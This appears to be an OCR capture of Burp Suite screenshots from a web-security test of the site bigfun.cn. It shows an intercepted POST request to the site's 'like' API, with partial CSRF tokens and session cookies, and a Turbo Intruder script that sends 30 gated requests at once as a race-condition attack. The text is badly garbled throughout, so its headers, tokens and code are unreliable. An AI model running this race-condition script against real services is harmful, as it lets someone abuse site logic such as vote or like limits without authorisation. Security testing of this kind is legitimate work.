bigfun fF1E I K mi IR

£ bigfun HFHIEE —HF L&

AL A https://www. bigfun. cn/post/1634635
LG BB BN O

sy R, B R

B! Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz - o X
Burp Project Intruder Repeater Window Help Turbo Intruder

I Dashboard T Target IFruxy ] Intruder .i Repeater TSewemer ] Decoder TCompaler ] Extender Tijen ‘options .iUser options | Authz I CSRF I xssValidator
J Intercept l HTTP history IWahSoclmts histary IDwiona

47 D Request to https:/iwww.bigfun.cn443 [116.162:88.71]
Forward Drop Intercept is on Action [Comment this itam ) w@
IRII Params | Headers | Hex

POST /api/client/web?method=1ike HTTP/1.1
Host: www.bhigfun.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0:; Winé4; x€4; rv:97.0) Gecko/20100101 Firefox/S7.0
4 Ahecepr: applicatien/lson, text/plain, */*
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW:q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& Accept-Encoding: gzip, deflate
7 Content-Type: application/json;charset=utf-8
8 x-csrf-voken: LijPOFLh-zyYMIFJRTIN4KIYU4iRNSzpxKIN
& Content-Length: 3&
Origin: heeps://wee.bigfun.cn
Connection: close
Referer: https://vev.bigfun.cn/post/ 1636649
Cookie: sid=¢ 00 nonnoo - = B B il 2187%2CbbSda*2l; bili jct=
agBAZ1Scelle. @ Ar322274- 144000~ 171 10B6AE2 794
CNZZDATALZ753 7663 /=1Ca15atucun acuen
14 Sec-Ferch-Dest: empry
15 Sec-Fetch-Mode: cors
18 Sec-Fetch-Site: same-origin
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{"cype”:1, "action™: 1, "id": " LEIEE45"}
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Raw | Params | Headers | Hex

1 POST Japi/client/web?method=1like HTTF/L.1 i

2 Host: www.bigfun.cn

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x&4; rv:97.0) Gecko/I0100101 Firefox/57.0

4 Accept: application/dJson, text/plain, */*

5 Accept-Language: zh-CHN,zh;q=0.8, zh-TW;:q=0.7, zh-HE;q=0.5,en-U3;q=0.3,en;g=0.2

© Accept-Encoding: gzip, deflate

7 Content-Type: application/json:charset=utf-8

2 oparforoken: Ti3POFLh-syTMIFJRCTMN4K1YU41RNS 2pxEIN

) kontent—Length: 385s 5
0 matches
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def

20 def

queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=38,
requestsPerConnection=188,
pipeline=False

)

# the 'gate’ argument blocks the final byte of each request until openGate is invoked
for i in range(3@):
engine.queue(target.req, target.baseInput, gate="racel’)

# walt until every ‘racel’ tagged request is ready
# then send the final byte of each regquest

# (this method is non-blocking, just Like gueue)
engine.openGate( 'racel’)

engine.complete(timeout=60)

handleResponse(req, interesting):
table.add(req)
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